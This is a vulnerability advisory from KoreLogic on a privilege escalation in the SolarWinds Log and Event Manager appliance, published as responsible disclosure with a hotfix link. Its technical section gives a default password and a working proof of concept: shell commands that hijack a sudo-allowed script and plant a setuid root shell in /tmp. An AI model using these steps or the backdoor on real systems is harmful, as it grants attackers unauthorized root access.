KL-001-2017-005 : Solarwinds LEM Privilege Escalation via Controlled Sudo Path

Title: Solarwinds LEM Privilege Escalation via Controlled Sudo Path
Advisory ID: KL-001-2017-005
Publication Date: 2017.04.24
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-005.txt


1. Vulnerability Details

     Affected Vendor: Solarwinds
     Affected Product: Log and Event Manager Virtual Appliance
     Affected Version: v6.3.1
     Platform: Embedded Linux
     CWE Classification: CWE-281: Improper Preservation of Permissions,
                         CWE-708: Incorrect Ownership Assignment
     Impact: Privileged Access
     Attack vector: SSH

2. Vulnerability Description

     Due to lax filesystem permissions, an attacker can take control
     of a hardcoded sudo path in order to execute commands as a
     privileged user.

3. Technical Description

     Should an attacker gain access to the SSH console for the
     cmc user, root access to the underlying operating system can be
     achieved.  The default password for the cmc user is "password".

     Due to underlying filesystem permissions, it is possible
     for the cmc user to assume control of a path hardcoded in
     the sudoers file. The attack is started by moving the scripts
     directory and creating a symlink to a (now) attacker controlled
     scripts directory.

     cmc@swi-lem:/usr/local/contego$ mv scripts scripts.real && mkdir scripts && cd scripts.real && for A in * ; do ln
-s ../scripts.real/${A} ../scripts/${A} ; done

     Next, a file specified in the sudoers file is overwritten and
     then executed using sudo.

     cmc@swi-lem:/usr/local/contego/scripts$ diff -u hostname.sh hostname.sh.backdoor
     --- hostname.sh 2005-07-01 20:10:17.000000000 -0700
     +++ hostname.sh.backdoor        2016-12-11 12:20:35.000000000 -0800
     @@ -1,5 +1,10 @@
      #!/bin/sh
     +# create a backdoor setuid shell
     +cp /bin/dash /tmp/sushi
     +chown root:root /tmp/sushi
     +chmod 4755 /tmp/sushi
     +
     [snip]
     cmc@swi-lem:/usr/local/contego/scripts$ rm hostname.sh && mv -i hostname.sh.backdoor hostname.sh
     cmc@swi-lem:/usr/local/contego$ sudo /usr/local/contego/scripts/hostname.sh

     This results in a suid dash shell being output to /tmp/sushi.

     cmc@swi-lem:/usr/local/contego$ ls -ld /tmp/sushi
     -rwsr-xr-x 1 root root 104168 Dec 11 12:21 /tmp/sushi

     Running this shell results in root privileges.

     cmc@swi-lem:/usr/local/contego$ /tmp/sushi
     # id
     uid=1001(cmc) gid=1000(trigeo) euid=0(root)
groups=0(root),4(adm),24(cdrom),25(floppy),104(postgres),105(snort),1000(trigeo),1002(dbadmin)

4. Mitigation and Remediation Recommendation

     The vendor has released a Hotfix to remediate this
     vulnerability. Hotfix and installation instructions are
     available at:

     https://thwack.solarwinds.com/thread/111223

5. Credit

     This vulnerability was discovered by Hank Leininger and Matt
     Bergin (@thatguylevel) of KoreLogic, Inc.

6. Disclosure Timeline

     2017.02.16 - KoreLogic sends vulnerability report and PoC to
                  Solarwinds <psirt@solarwinds.com> using PGP key
                  with fingerprint
                  A86E 0CF6 9665 0C8C 8A7C  C9BA B373 8E9F 951F 918F.
     2017.02.20 - Solarwinds replies that the key is no longer in
                  use, requests alternate communication channel.
     2017.02.22 - KoreLogic submits vulnerability report and PoC to
                  alternate Solarwinds contact.
     2017.02.23 - Solarwinds confirms receipt of vulnerability
                  report.
     2017.04.06 - 30 business days have elapsed since Solarwinds
                  acknowledged receipt of vulnerability details.
     2017.04.11 - Solarwinds releases hotfix and public disclosure.
     2017.04.24 - KoreLogic public disclosure.

7. Proof of Concept

     See 3. Technical Description


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